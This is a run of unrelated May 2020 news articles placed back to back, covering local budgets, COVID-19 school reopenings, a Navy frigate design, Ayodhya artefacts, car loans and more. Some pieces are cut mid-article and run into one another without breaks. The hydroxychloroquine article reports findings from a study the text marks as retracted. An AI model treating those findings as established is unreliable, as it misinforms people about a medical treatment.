Those who voted in favor included Chairman Joe Deko, D-2, Vice Chairman Lou Pacelli, D-3, Ranfone and council members Ashley Lesco, D-1, Beth Capotorto, D-1, Kim Glassman, D-1, Joe Santino Jr, D-2, Josh Balter, D-3, Marianne Cesare, D-3, Henry Butler, D-5, Ray Pompano, D-5, and Jennifer Ruggiero, D-5.

Deko praised Carfora for his openness, including inviting all council members to give input on the budget as he was preparing it.

Deko also pointed out that despite the passage of coronavirus-related executive orders by Gov. Ned Lamont that would have allowed local officials to enact a budget without going through the normal public process, East Haven officials opted to keep that process intact, including holding two online public hearings this week via Zoom teleconferencing .

Carfora said in a release that the council approved a budget that largely reflects the budget that he presented during his May 6, 2020 State of the Town and budget address.

This years budget reflects a strong commitment to East Havens first responders  it contains additional positions in the towns police and fire departments, which have not had a staffing increases since the 1980s, the release said.

In addition, in this budget the town provides the Board of Education approximately $2.6 million in-kind services while also providing two school resource officers; one for the high school and one for the middle school, the release said.

The 1.83 mill rate increase in this budget is necessary to overcome the prior Republican administrations irresponsible budgeting practices of inflating revenues and payouts, Carfora said. Their practices left our community with condemned buildings and town equipment that is in complete disrepair.

I want to thank the Town Council, Carfora said. This was not an easy process  it never is easy to ask all of us to do more; especially under the current COVID-19 situation.

Carfora also criticized the three Republicans who voted against the budget, saying, I am disappointed that three of four Republicans on the Town Council do not share our vision for a better and more responsible East Haven. This budget helps our first responders and prepares us to protect our citizens during this pandemic  why would they vote against that?

They will claim that this isnt the time for a tax increase  there is never a good time and this is painful for all of us, but this is the responsible decision to build a better East Haven, Carfora said. In fact, I invited each member into my office via Zoom to discuss our process and our proposal.

Some who voted against this plan tonight didnt even show up at the meetings and those who did show never once balked at my plan or suggested an alternative, he said. We march on!

mark.zaretsky@hearstmediact.com
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Over the past six months, students at Macdonald Valley Public School have been forced out of their classroom three times - first by fires, then floods, and then by a plague.

"Everyone's had a pretty good sense of humour about it, but you do think, 'my goodness, what's next?" says principal Melissa Date. "We love being at our beautiful school, we are hoping we can stay put now."

As schools return to full-time teaching on Monday, spare a thought for the principals who have led teachers, students and families through the most tumultuous period of schooling anyone can remember.

The students at Macdonald Valley Public School have been forced out of their classroom by fire, flood and plague this year. Credit:Wolter Peeters

Ms Date's students were forced out of their little school, near Wiseman's Ferry, north of Sydney, when flames circled the valley late last year, and again when wild rains and flooding made the Macdonald River too dangerous to cross in February.
Evidence on coronavirus transmission rates among children remains inconclusive, the governments scientific advisers have said.

Just days before primary schools are set to partly reopen in England, the Scientific Advisory Group for Emergencies (Sage) said it could not confirm if the infection rate among children is lower than among adults.

Ministers have come under increasing pressure from teachers, unions and local authorities to reconsider the proposals to ease the lockdown by reopening schools on June 1.

In an address to the nation on 10 May, Boris Johnson said pupils in reception, year one and year six would be the first to return to school under phase two of the governments relaxation of restrictions.

Publishing modelling on Friday, Sage said that on the balance of evidence the infection rate among children may be lower than in adults, but added that the evidence remains inconclusive on both the susceptibility and infectivity of children.

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Wider contextual issues  including whether families have black, Asian and minority ethnic (Bame) members  must be taken into account when assessing the impact that reopening schools may have on transmission, the scientists added.

They said that teachers do not appear to be at a greater risk of catching Covid-19 than other professions  but there is still some risk if schools reopen. The Sage papers suggest that younger teachers could be sent back first, to protect staff in more vulnerable groups.

The advisers added: As other countries start relaxing school closures and evidence starts to build, it will be important to use the collective insights gained to inform more detailed modelling and understanding of public responses to proposed scenarios.

The analysis follows a warning from an independent group of scientists  set up to shadow Sage  that it is not safe to reopen schools on 1 June without contract tracing and evidence of low levels of infections at a local level.

In a report published on Friday, the Independent Sage group, led by Sir David King, said: We believe that decisions on schools opening should be guided by evidence of low levels of Covid-19 infections in the community and the ability to rapidly respond to new infections through a local test, track and isolate strategy.

Insisting that decisions to reopen schools should also be made at a local level, they added: There is no clear evidence that these conditions are met. Until they are it is not safe to open schools on 1 June.

To ensure that any local outbreaks are quickly spotted and contained, we strongly recommend that local test, track and isolate programmes are in place and tested before schools reopen.
A former deputy editor of Brittle paper, Otorisirieze Obi-young, who was sacked under controversial circumstances, has gotten a new job.

The journalist, who was axed over editorial concerns trailing a controversial post about Kaduna States first lady, Hadiza El-Rufai, and alleged insubordination, has been named the editor of Folio.ng, a pan-African platform for cultural and literary advancements.

His appointment was contained in a statement by the management of Folio Group, publishers of Daily Times Newspaper, issued in Abuja.

The newspapers statement read: We are proud to welcome a great talent on-board. Otosirieze Obi-Young is an award-winning writer and editor.

He won the inaugural The Future Awards Africa Prize for Literature in 2019 and was among Avance Medias 2020 list of the 100 most influential young Nigerians.

His short stories and literary commentary have appeared in The Threepenny Review and Transition.

In 2018, he was named a judge for The Gerald Kraak Prize. In 2019, he joined the judging panel for The MilesMorland Foundation Writing Scholarship. He is (was) an editor at 14, Nigerias first queer art collective, and is the founder of the Art Naija Series anthologies.

Controversial sack

Mr Obi-Young, who had been deputy editor of Brittle Paper since 2016, was dismissed following disagreements with the papers publisher after he wrote a scathing piece on Mrs El-Rufai.

His post chided Mrs El-Rufai for issuing a controversial tweet after her son, Bello El-Rufai, posted a tweet filled with rape innuendos on Twitter.

The younger El-Rufai has since apologised publicly.

The papers publisher, Aniehi Edoro, had expressed concerns about Mr Obi-youngs criticism of some Nigerian papers on the issue and also faulted the use of the term, gang rape in the articles title.

She then asked him to re-edit the piece. Although Mr Obi-Young agreed to effect some changes, he refused to change the headline  which led to the misunderstanding, she had explained.

READ ALSO:

Ms Edoro, later defending the sack, said Mr Obi-Young, after flouting editorial guidelines of the company was unwilling to make changes in the report.

Unfortunately, this all occurred at a time I had to prepare time sensitive lectures for my students, and without sufficient time to edit the post. The time difference between Nigeria and the U.S. also left me with little time to act quickly, so I pulled the post down as the exigent thing to do.

She added that the ex-deputy editor hung up the phone when she attempted to have a conversation (with him).

Elated

The young editor said he had no regrets about leaving his former employment.

I do not regret that I did the right thing. Not at all. I think that everyone should look back at their roles and responses to what happened and decide what they want to feel; and no matter what they decide, theres only one right side, he said.

Sharing his excitement about his new post, he said his vision for creative freedom allies with the Times Multimedias vision for Folio NG.

I am excited that Times Multimedias vision and mine for Folio NG are in full alliance. My sense of urgency is always, when I am not doing much, on an 8. Now its on the roof because we are looking to build a pioneering platform.

Ive always thought of how to do things differently and with greater significance, but because I have worked mostly in literature; I am also familiar with feeling helpless in terms of execution no funding.

So this is the first time that I have the necessary creative freedom, and the full backing of TMM, to pursue the collective vision I was hired to realise, he said.
Hydroxychloroquine and chloroquine tablets are shown in at the IHU Mediterranee Infection Institute in Marseille, France, on Feb. 26, 2020. (Gerard Julien/AFP via Getty Images)

Hydroxychloroquine, Chloroquine Associated With Increased Mortality Risk: Study

Update: The study was retracted on June 4, 2020.

Original story below.

Hydroxychloroquine and chloroquine were linked with an increased risk of mortality in hospitals, researchers said.

The large observational study included records of 96,032 patients from 671 hospitals in six continents. The patients were hospitalized between Dec. 20, 2019, and April 14, 2020.

Patients receiving the anti-malarials were put in four different groups: chloroquine alone, chloroquine with a macrolide, hydroxychloroquine alone, or hydroxychloroquine with a macrolide. Patients who received none of the treatments formed a control group.

Researchers found the 14,888 patients in the treatment group suffered higher mortality when compared to the control group of over 80,000.

We were unable to confirm a benefit of hydroxychloroquine or chloroquine, when used alone or with a macrolide, on in-hospital outcomes for COVID-19, the researchers wrote in The Lancet, where the study was published.

Each of the four treatment regimens was linked with decreased in-hospital survival and an increased frequency of irregular heart rhythms, they added.

Proponents of hydroxychloroquine and chloroquine, which have been used for decades against malaria and lupus, say azithromycin and zinc make the drugs more effective against COVID-19.

The Food and Drug Administration last month warned against widespread use of the drugs because of harmful side effects including heart issues.

The doctors conducting the study were: Mandeep Mehra of Harvard Medical School, Sapan Desai of the Chicago-based Surgisphere Corporation, Frank Ruschitzka of University Heart Center at the University Hospital Zurich, and Amit Patel of the Department of Biomedical Engineering at the University of Utah.

Funding came from Brigham and Womens Hospital in Boston, Massachusetts.

A pharmacist shows a bottle of the drug hydroxychloroquine in Oakland, Calif., on April 6, 2020. (Ben Margot/AP Photo)

Patients who received the treatments more than 48 hours after diagnosis were excluded as were those who received one of the treatments while on a ventilator. Patients who received the experimental remdesivir treatment were also excluded.

The researchers acknowledged observational studies cannot account for unmeasured confounding factors but added, our findings suggest not only an absence of therapeutic benefit but also potential harm with the use of hydroxychloroquine or chloroquine drug regimens (with or without a macrolide) in hospitalized patients with COVID-19.

Peter Bach, director of Memorial Sloan Ketterings Center for Health Policy and Outcomes, said that in most cases, people who look sicker are more likely to get an unproven treatment, which is referred to as confounding by indication.

He drew attention to the group of patients receiving the treatments as being older and having more weight than those in the control group.

Are the patients after statistical adjustments now similar enough to support the conclusions  .How many factors might they have missed of mis-modeled? Could this still be confounding? he said in a social media statement.

In a comment on the study, two French doctors said the observational nature includes limitations but still provides results to consider.

Their results indicate an absence of benefit of 4-aminoquinoline-based treatments in this population and suggest that they could even be harmful, the doctors wrote.

While the study found an increased risk of in-hospital mortality, the relationship between death and ventricular tachycardia, or the lower chambers of the heart beating quickly, wasnt studied, the doctors said. Causes of deaths also werent adjudicated.
The U.S. Navy has selected the design for its new FFG(X) frigate and explained why it is retiring four LCS ships early. The new frigate will be based on the Italian FREMM frigate. The American FREMM will be a modified version of the basic FREMM design and will be built by an American firm under license. The FREMM design has been in service since 2007 and is currently used by four nations. FREMM was designed to be adapted to various user specifications. FREMM is a 5,000 to 7,000 ton ship that varies in length from 132 to 142 meters with a top speed varies from 45-56 kilometers an hour. Crew size is from 145 to 199. The basic FREMM is armed with a 76mm cannon plus anti-submarine torpedoes, anti-ship missiles, CISW for anti-missile defense and dealing with small boat swarm attacks.

Fincantieri, the Italian creator and manufacturer of FREMM, will receive a $795 million contract to modify FREMM to fit American needs and build the first FFG(X) in an American shipyard. If that goes according, to plan Fincantieri will build nine more in the same U.S. yard for $534 million each. The first U.S. FREMM supposed to be in service by 2026 and the second one three months later.

It has already been decided that the 7,000 ton U.S. FREMM frigate will be 155 meters (496 feet) long and have accommodations for 200. It will have an AEGIS type AESA radar that can detect enemy ships over the horizon and attack them with NSM (Naval Strike Missiles).

The NSM is another import, from Norway. Despite the many lightweight (under a ton) anti-ship missiles on the market, NSM still gets sales because it is effective, reliable, and affordable. It is also offered for use on ships, aircraft, and on trucks (as part of a mobile coastal defense system). The 409 kg (900 pound) NSM has a 125 kg (275 pound) warhead and a range of 185 kilometers. NSM uses GPS and inertial guidance systems, as well as a heat imaging system (and a database of likely targets) for picking out and hitting the intended ship. Norwegian manufacturer Kongsberg allows buyers to easily install their own radar and control systems.

The U.S. FREMM will also have one 57mm gun and a hangar and landing pad for two helicopters or one helicopter plus UAVs. There are four Mk 53 anti-submarine torpedo launchers and 32 VLS cells for anti-aircraft or other missiles. There will also be a RAM system for anti-missile defense. Top speed of this U.S. FRREMM is about 48 kilometers an hour. Fincantieri has some leeway in meeting these specs and the U.S. Navy decided that FREMM could be adapted to satisfy FFG(X) requirements, and then some.

One popular, with the crew, feature of FREMM is the use of 4-6 person berthing spaces, each with its own shower. Most American warships have the traditional berthing spaces for enlisted crew that are basically a barracks bay approach with dozens of sailors per space with each one sleeping in bunk beds that are stacked two or three high. These large berthing spaces are notoriously noisy all the time because crew members have different schedules and some berthing spaces are the only way to reach a different part of the ship. The FREMM design eliminates or considerably reduces most of these problems. Other navies have found that it is great for crew morale and well-being because the sailors get more sleep. The smaller berthing spaces also solves the problem of accommodating a different number of female sailors.

Meanwhile the navy has also explained its January decision to retire four of its troublesome LCS (Littoral Combat Ship) frigates. One of these ships is only six years old and the oldest one has been in service for twelve years. Congress had questions about this and the navy explained that these four ships were used for testing new features and were not equipped with all the gear the regular LCS ships had. It would cost $600 million to upgrade these four ships for regular service. By retiring these four ships the navy saves about $400 million a year in operating costs, as well as the upgrade costs.

The LCS is a failed design and one of the many attempts to fix that was to try and portray LCS as a frigate. In early 2015 the U.S. Navy decided to officially reclassify the LCS as frigates. This was not unexpected as in size and function the LCS ships were very comparable to frigates. This type of ship was created during World War II as Destroyer Escorts (or DE, versus DD for destroyer). These were basically destroyers that were slower (smaller engines), smaller (fewer weapons) and meant for escorting convoys and patrolling areas where major air attacks were not expected. The DEs proved more useful than expected and were retained after the war and eventually renamed as frigates (FF) type ships. The LCS was meant to be much more than a frigate and used a very innovative design to achieve that. This did not work out as planned. Eventually, the navy decided to develop a new, more conventional Guided Missile Frigate design for the new FFG(X) type ship. The final FFG(X) design has now been selected (from among four competitors) and the navy wants to produce these quickly, at a rate of four to six ships a year once the first one is in service.

The LCS began development in 2002 and by 2012 the U.S. Navy put it into mass production. Then in 2013 one of the three LCSs in service got its first tour in a combat zone; counter-piracy duty around the Straits of Malacca. There LCSs took turns serving six month tours of counter-piracy duty and were based in Singapore. At the time the plan was to have six LCS ships based in the Western Pacific, including three in Singapore. Another seven will be based in the Persian Gulf (Bahrain).

There were numerous problems with the equipment on the LCS, crew size and organization of the ships. All these problems, both the new ones and many old ones, caused the navy to decide in early 2014 to cut the number to be built from 52 to 32. Mostly this was about shrinking budgets, but theres also the fact that the LCS has been, for many admirals and politicians, much more troublesome than expected. This was not surprising because the LCS was a radical new warship design and these always have a lot of problems at first. LCS was basically a replacement for the older frigates as well as doing several tasks frigates did not handle. The LCS has gone through the usual debugging process for a new design and that has attracted a lot of unwelcome media attention. But it was clear the end was near when the navy decided to study the possibility of developing a new frigate design, which would incorporate some of the lessons learned with the LCS. Because of the money shortage that is also stalled.

Despite all the problems, many in the navy still believe that the LCS is worth the effort, and worth keeping if only there were ways to get the design to work reliably. Costing less than a quarter of what a 9,000 ton destroyer goes for and with only a third of the crew, there were many tasks where the LCS could do a job that would otherwise require a destroyer or frigate. The navy could have originally built a new class of frigates, but the LCS design seemed a lot more flexible, making it possible for different mission packages to be quickly installed so that LCS could do what the navy needed (like assembling a lot of mine-clearing ships or anti-submarine vessels) in an emergency. This did not work out as well as expected.

The LCS has many novel features that required a lot of tweaking to get working properly. One much resisted latest tweak was to crew size, with ten personnel being added. That made a big difference because all LCSs have accommodations for only 75 personnel. Normally, a ship of this size would have a crew of about 200. The basic LCS crew was 40, with the other 35 berths occupied by operators of special equipment or special personnel (SEALs or technical specialists). In practice, the original crew was usually 55. That was 40 for running the ship and about 15 for the mission package. From now on the number of personnel running the ship increases to 50.

The navy surprised everyone in 2010 by choosing both LCS hull designs and requesting that the fifty or so LCS ships be split between the two very different looking ships. Both ships look quite different because one is a traditional monohull while the other is a broader multihull trimaran. Both type ships share many common elements. One of the most important of these is the highly automated design and a smaller crew. The two different LCS designs are from Lockheed-Martin (monohull) and General Dynamics (trimaran). The first LCS, the monohull USS Freedom, completed its sea trials and acceptance inspections in 2009. The ship did very well, with far fewer (about 90 percent fewer) problems (or "material deficiencies") than is usual with the first warship in a class. USS Independence (LCS-2) was laid down by General Dynamics in late 2005 and commissioned in January 2010.

Both LCS designs were supposed to be for ships displacing 2,500 tons, with a full load draft of under 3.3 meters (ten feet), permitting access to very shallow "green" and even "brown" coastal and riverine waters where most naval operations have taken place in the past generation. The top speed was expected to be over 80 kilometers with a range of 2,700 kilometers. Basic endurance is 21 days and final displacement was closer to 3,000 tons. For long deployments, the LCS has to resupply at sea or return to port for more fuel, food and other items.

The navy originally sought to have between 50 and 60 LCSs by 2014-18, at a cost of $460 million (after the first five) each. The USS Freedom ended up costing nearly $600 million, about twice what the first ship in the class was supposed to have cost. The navy was able to get the cost down to about $500 million each once mass production began. Because of the continued problems with the mission package modules, escalating costs for the modules and a lot of other minor problems, the navy lost faith in the design. The navy will only have about 30 LCS ships in service and most will probably be retired after about a decade of service and replaced by the new frigate design. Meanwhile the navy is still unsure about exactly what it can use LCS ships for.

The navy decision to retire four LCS ships indicates that the others would be retired as the FFG(X) came into service. Doing that will be a major test for the navy. The LCS is not the only recent failed new ship concept. The new Ford class nuclear aircraft carrier is crippled by bad design decisions and manufacturing problems. Before that there were the DDG-1000 class stealth destroyers that proved too expensive to mass-produce. Only three were built and their main weapon does not work. Similar problems inflicted the Seawolf SSN (nuclear attack sub). All these failed projects indicate that the navy has not yet fixed its fundamental inability to design and build new ships. The navy plays down how serious this problem is but that only made it look worse because of the Chinese success at building new ship classes much more quickly and on budget. The U.S. Navy used to be able to do this and the loss of that capability continues to be the most serious threat the navy faces and the one too many navy leaders are willing to take on. The FFG(X) is an opportunity for the navy to demonstrate that they can do it right. Unfortunately, its an opportunity, not a sure thing.
The Hokkaido Shimbun Press - May 22, 2020 - 12:10 | All, Japan, Coronavirus

Westin Rusutsu Resort in Hokkaido, northern Japan, drew a smiley face on May 15, 2020, using lights in vacant rooms as part of a joint event by 10 Westin hotels across Japan, including in Tokyo and Okinawa, to pray for an early end to the ongoing coronavirus pandemic.

As the skies started to darken around 7 p.m., the smiley face gradually became visible on the hotel, which has been temporarily closed since May 7 due to measures to curb the spread of the novel coronavirus and is scheduled to remain out of business until the end of June.

During normal times, the hotel would have been packed with Chinese tourists visiting Hokkaido on bus tours during this travel season. Currently, however, many of the hotel's approximately 140 employees have been asked to stay home due to the suspension of operations.

Through the Smiley illumination, the hotel is hoping guests will return after the pandemic subsides to enjoy Rusutsu, a famous ski resort in winter and popular for its lush greenery in summer.

"We also hope our employees will be able to stay positive and motivated when they look at the illumination," said Atsushi Miyazaki, the hotel's general manager.

The Hokkaido Shimbun Press

More Hokkaido Shimbun Press stories:

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Gov. Tony Evers said that parents and students should prepare for the school year to look different when it starts in the fall, as one topic among several in a chat with the La Crosse Tribune on Friday afternoon.

Its going to be different. Its going to be kids sitting in a row, with masks on maybe, he said, referencing a set of optional guidelines from the Centers for Disease Control and Prevention for schools that was recently released.

I think parents and kids actually should start to prepare for a future that might look different this fall, Evers said.

As the state reopens, Evers said he feels greatly indebted to Wisconsinites for the precautions theyve taken to save lives.

But as the state begins to reopen and more residents leave their homes and get out in their communities, a resurgence of cases is possible.

I believe going forward, even though theres more options available, that people will do things reasonably, he said.

And though Evers executive orders relating to COVID-19 efforts were recently considered an overreach of power, he said his administration still has a job to do.

If there is a second wave, or if there is a surge over the next several weeks, we have a huge role to play, Evers said of the possibility, emphasizing that the state would continue to support more testing, contact tracing and personal protective equipment.

Evers announced this week how his administration would distribute the roughly $1.9 billion the state received through the federal CARES Act, which went to things like rent assistance, nursing homes, small businesses, farmers and food banks.

But the Dairy State governor was critical about the federal governments role in pandemic efforts.

I havent had any discussion with President Trump, Ever said. Frankly, and this isnt meant as a statement of disrespect, but we need to get things done, and the presidents view of the world as it relates to this kind of waxes and wanes, and its hard to keep up.

Instead, state leaders have been working directly with Vice President Mike Pence, he said, who was appointed to lead the federal COVID-19 task force.

If we had to do it over, the federal government would ideally have complete control over the countrys materials, equipment and testing, Evers said.

They could have done better than having 50 states competing with each other, he said.

But he complimented the work that local governments have done despite skewed guidance from above.

Once the Republicans went to the Supreme Court and succeeded in what they wanted to do, Ever said, local governments have really stepped to the plate.

He said he was proud of the work counties and cities or villages have done, but that public health is a great avenue to consider how all levels of government can collaborate more.

We have many counties where the counties take the lead, and some where the cities take the lead. And I see some pretty good collaboration there, and I think it could be a model for local governments, Evers said.

The state Senate battleground

In Wisconsin, at least seven state Senators are not running for reelection in the fall, paving the way for Democrats to take back the majority or for Republicans to create a supermajority.

And Evers said the fate of the Senate is particularly important for fair maps in the state.

If indeed the Republicans get a supermajority, that would mean that they could override any veto that I do, he said, and my veto is the only thing thats standing between some fair maps and having the same gerrymandered maps for the next 10 years.

Among the seven state Senate seats being vacated is that of former Minority Leader Jennifer Shilling, D-La Crosse, who announced she wouldnt seek reelection in April, and stepped down as leader last week.

Running in Shillings place is Democrat Brad Pfaff, who is seeking a seat in the same body that denied him as Evers appointee to lead the Wisconsin Department of Agriculture, Trade and Consumer Protection.

Evers appointed Pfaff to the position in 2018, but last November, Senate Republicans rejected the nomination over comments about mental health assistance in the dairy industry.

Brad was an outstanding person as secretary-designee of agriculture, he was doing a great job and was treated poorly by the Republicans, Ever said.

And yes, Id much rather have him working for me, but I know hell do a great job if he wins the Senate district, Evers said.

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ROTTERDAM, Netherlands, May 22, 2020 /PRNewswire/ -- Today, 54 leaders from the African Adaptation Initiative championed by President Ali Bongo Ondimba of Gabon, endorsed the policy recommendations outlined in the brief "Integrated Responses to Building Climate and Pandemic Resilience in Africa". The policy brief was prepared by the Global Center on Adaptation and African Adaptation Initiative and outlines a plan of action for African countries to ensure stimulus spending is used to build back better from the COVID-19 crisis. The policy brief recommends adaptation actions for three key systems affected by both the pandemic and climate change in Africa: systems that produce our food; protect and manage our water and plan and build our infrastructure. Specifically, the recommendations include adaptation actions to secure the food supply for vulnerable populations and strengthen the agricultural value chain; increase access to water and sanitation in parallel with efforts to improve water governance; and investment in resilient infrastructure to create jobs.A These recommendations result in a triple dividend for African countries: reduced pandemic risk, increased climate resilience and strengthened economic recovery. Commenting on the brief's release, Ali Bongo Ondimba, President of Gabon and African Union Champion of the African Adaptation Initiative said:A "The real impact of the coronavirus crisis on climate will ultimately depend on the choices we make in how we recover. Meeting the Paris Agreement's goals for mitigation and adaptation must be central to this effort to ensure we reduce the likelihood of future pandemics." Ban Ki-moon, 8th United Nations Secretary General and Co-Chair of the Global Center on Adaptation said: "If the virus is a shared global challenge, so too should be the need to build resilience against future shocks. Emerging and developing countries are the least prepared for the arrival of COVID-19, just as they are most vulnerable to the effects of climate change." Patrick Verkooijen, CEO of the Global Center on Adaptation said: "Previous epidemic outbreaks have provided us with vital lessons, local knowledge and expertise that is also relevant in helping us to find innovative ways to address our climate crisis." Other global leaders also endorsed the policy brief recommendations: Kristalina Georgieva, Managing Director of the International Monetary Fund said: "The world is about to deploy enormous, gigantic fiscal stimulus and we can do it in a way that we tackle both crises at the same time. If our world is to come out of this crisis more resilient, we must do everything in our power to make it a green recovery." Feike Sijbesma, Honorary Chairman of Royal DSM and Co-Chair of the Global Center on Adaptation said: "The COVID-19 pandemic has reinforced the critical role of initiatives like Africa Improved Foods to ensure we can guarantee Africa's food security while adapting to the impacts of climate change." Peter Eriksson, Minister of International Development for Sweden said: "For Africa, the COVID-19 pandemic has collided with our climate emergency. We must ensure we integrate solutions to both crises into a coherent response in support of African countries. A This can be achieved through intensifying climate adaptation efforts through the Global Center on Adaptation. The GCA is a key solutions broker and center of excellence with a holistic approach, that aims to accelerate adaptation solutions for a climate resilient future in Africa.". Dag-Inge Ulstein, Minister of International Development for Norway said: "The COVID-19 crisis is creating an even greater need for internationalA cooperation. Using the stimulus spending to assist poorer countries in addressing the impacts of our climate crisis is not only the smart thing to do, it's the right thing to do as we continue to work in close collaboration with the Global Center on Adaptation in building climate and pandemic resilience in Africa." Akinwui Adesina, President of the African Development Bank said: "The combination of COVID-19 pandemic and the massive invasion of desert locusts in parts of Africa present a twin challenge for health and food security for millions of people, and exacerbates Africa's vulnerabilities and development challenges. It is time to devote more resources to Africa to expand its fiscal space to secure lives during the COVID-19 pandemic and for safeguarding the environment, on which all lives today and the future depend, by enhancing climate adaptation." About the Global Center on Adaptation Please visit www.gca.org/about About the African Adaptation Initiative Please visit https://africaadaptationinitiative.org/#about2 Logo - https://mma.prnewswire.com/media/1044191/GCA_Logo.jpg

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Jaipur, May 22 : A Jaipur-based man named Piyush Singh who went missing on March 20 was found from Delhis Nizamuddin Markaz recently where his name was registered as Mohammad Ali in the Tablighi Jamaat list, officials said.

Seven days after he went missing, his father Anoop Singh, lodged a complaint at Sadar Thana, Jaipur on March 27. The missing man was brought back from Markaz this Wednesday by a Jaipur police team, confirmed Sadar Thana SHO Rajendra Singh Shekhawat.

Piyush's Aadhaar number is the same as that of Ali shown in the list of Tablighi Jamaat members. Also, Ali's address shows a Meerut location. On April 19, Ali alias Piyush was advised quarantine. He was in Sultanpuri police station in Delhi, confirmed officials adding that his samples were collected thrice and he tested negative each time.

A police team went to Delhi and brought him back this Wednesday. SHO Shekhawat told IANS that as the man did not want to come back, he wanted to stay there and was in regular touch with his father. His mobile also remained switched on when he was in Markaz, he said.

He further said that he went to the Markaz on his own wish. When asked by IANS over why the boy's name was quoted as Ali, the SHO said, "He must have registered his name on his own. If he wanted himself to be known as Robin Hood, the officials there would have written his name as Robin Hood. He stayed there on his own wish and will." However, his father shared a different story. "I came to know that my son was in Markaz just 10 days back. Thereafter, the police coordinated the efforts and helped in bringing him back." He further said that "after returning from Delhi, my son's mental condition is not stable and he did not want to talk to anyone." "Piyush is BCA passout, is preparing for MCA. As it's just been two days he has returned from Delhi, we will ask him after a few days how he reached Markaz, he further told IANS.

The hapless father in a feeble tone further said, "Times are not good, we don't know how he got in touch with whom and managed to reach Markaz." Also, in his missing complaint, he had said that his son had been reading namaaz and had started talking of Islam since the last few months.

He also started looking tense when at home, his father mentioned in his complaint at Sadar Thana in Jaipur. Piyush had also completed his cyber security course and was adept in his skills, his father mentioned in the complaint.
Ayodhya/Lucknow, May 22 : The 'unearthing' of ancient religious artefacts from the Ram temple site in Ayodhya is being seen as a 'validation of the faith of millions of Hindus who believe that Ram was born here' by the saints in Ayodhya.

Acharya Satyendra Das, chief priest of the Ram temple, said, "The recovery of these items should be a lesson for those who had been denying that the mosque was built after demolishing the temple." Mahant Raju Das of the Hanuman Garhi temple said that the idols and artefacts found during the levelling of the temple site further underlined the court verdict which accepted that the temple existed here. "There should be no room for any doubt now," he added.

Mahant Kamal Nayan Das, another senior saint, said, "The recovery of artefacts -- all of which are Hindu symbols -- leave no room for doubt and reaffirm the court verdict. All the items that have been found should be kept in a museum so that the new generation can see for themselves." Former BJP MP and seer Ram Vilas Vedanti said that all the artefacts show Hindu symbols like lotus which proves the existence of a temple.

The remains of the ancient temples, including a five-foot Shivalinga, seven pillars of black touchstone, six pillars of red sandstone, structures of flowers and broken idols of deities were found at the site where levelling of land is underway.

The Shri Ram Janmabhoomi Teerth Kshetra Trust that has been set up to oversee the construction of a grand Ram temple in Ayodhya, tweeted on Thursday that several broken statues of Hindu gods and goddesses have been found at the temple site where levelling operations are underway.

Trust general secretary Champat Rai said that the recovery of these further established the fact that temple existed at the site.

Champat Rai said that three JCBs, one crane, two tractors and 10 labourers were involved in the levelling of the temple site and work restarted on May 11 after the state government allowed construction activity to resume in the lockdown.

Meanwhile, Zafaryab Jilani, senior lawyer and convenor of the All India Babri Masjid Action Committee (AIBMAC) has contested the claim of the temple Trust general secretary Champat Rai.

Jilani, who had represented the Muslim side in the litigation related to the Ayodhya issue in Supreme Court, said that it was not necessary that the remains found at the site were related to some temple. "The pillars found there could be of the mosque demolished in 1992," he said.

Jilani dubbed the claims of remains found at the Ram Janambhoomi site as a 'political gimmick' by the trust office bearers to influence the upcoming Delhi, Bihar and Uttar Pradesh elections.

A. K. Singh, Director, State Archaeological Department, refused to comment on the emergence of remains.

He said that he had come to know about the findings through media reports and was not in a position to comment on the authenticity of the artefacts unless he saw them himself.

He said that the Archaeological Survey of India (ASI) and the state Archaeological Department would take cognizance of the findings and take them over to study their origin and age if asked to do so.

Meanwhile, the work of stone carving for temple has been suspended for the time being. "The old stones are being cleaned up for fixing in the proposed temple and we will increase the strength of artisans once the lockdown is lifted," said a VHP leader.
April was a disastrous month for car makers, as sales were almost nil for most of them. Many car manufacturers have now rolled out schemes to attract buyers. Then, there are discounts and exchange offers too.

Should you buy a car by taking such financing schemes, discounts and exchange offers after the lockdown and are they worth it?

Naveen Kukreja  CEO and Co-founder, Paisabazaar.com says, While opting for any of these finance schemes, the customers need to remember that the overall interest cost of these loans would be higher than the regular EMI loans, given that their lower repayment liability would lead to higher accrual of interest component.

Buy now pay later

In this scheme offered by Renault, you have to start paying EMIs from the fourth month onwards. In the initial three months after purchasing the car, the interest will keep accumulating until you start your full EMIs. But if you dont pay from fourth month onwards, your credit score will get impacted. Parijat Garg, a credit scoring consultant says, Until you settle the outstanding loan, it will be difficult to access credit from formal financial institutions; even if you manage to get a loan, the rate of interest will be high.

Step-Up EMI

The EMI increases from the second year onwards. Abhinav Kaul, Vice President-Strategic Partnerships, BankBazaar says, In todays COVID-19 crisis, the step-up option could be a good bet as it lets you start your EMIs with small amounts and then go up over the next one or two years, as your financial stability improves. However, you may end up taking a higher EMI commitment based on future incomes, which may be uncertain due to job losses and wage cuts.

Balloon repayment

A five-year car loan will involve the customer paying 14 per cent lower amounts than regular EMIs for 59 months; last instalment will be approximately 25 per cent of the loan. This scheme is suitable for borrowers who want to keep their monthly expenses low and are certain of their ability to repay the last instalment. Gaurav Gupta, Co-founder and CEO of MyLoanCare.in says, The caveat in the balloon repayment scheme is that these loans turn out to be costlier as you keep paying interest on a significant loan amount outstanding till the end of the tenure. The last installment more than makes up for the low EMIs you would have paid throughout.

Kaul says, Compared to the regular car loan scheme, the step-up and balloon repayment plans are more expensive.

Should you opt for longer-tenure loans?

Car makers offer loans of eight-year tenures, by tying up with banks and financial institutions. Sapna Tiwari, Co-founder and COO, Rupeewiz Investment Advisors says, You should prefer short tenure for car loans if you can afford the EMIs. While a shorter tenure leads to a higher EMI amount, it also results in lower interest costs.

The table below illustrates the savings made by taking a shorter-tenure car loan.

Moneycontrols take

It is advisable to avoid finance schemes such as step-up and balloon repayments, as well as long-tenure loans, as the total interest outgo in these schemes is higher than what a regular car loan entails.

You should also check the processing fee, pre-payment and other charges associated with a car loan. If you have a good credit score, you can negotiate for better rates and a waiver of charges. This will reduce the effective cost of owning a car. Finally, you must also analyse if your job and income are stable enough to service a car loan.
"Nature will provide us solutions", said Union Environment Minister Prakash Javadekar on Friday in a virtual celebration of International Biodiversity Day, noting that India was ready to share its experiences and best practices with nations interested in improving their biodiversity.

In his address through video conference, Javadekar said India has the finest biodiversity in the world and a robust system against poaching of species.

Stressing on this year's theme, Javadekar stressed that solutions are in nature and therefore, protecting the nature is very important especially in the context of COVID-19 as it shields from various catastrophes, including zoonotic diseases.

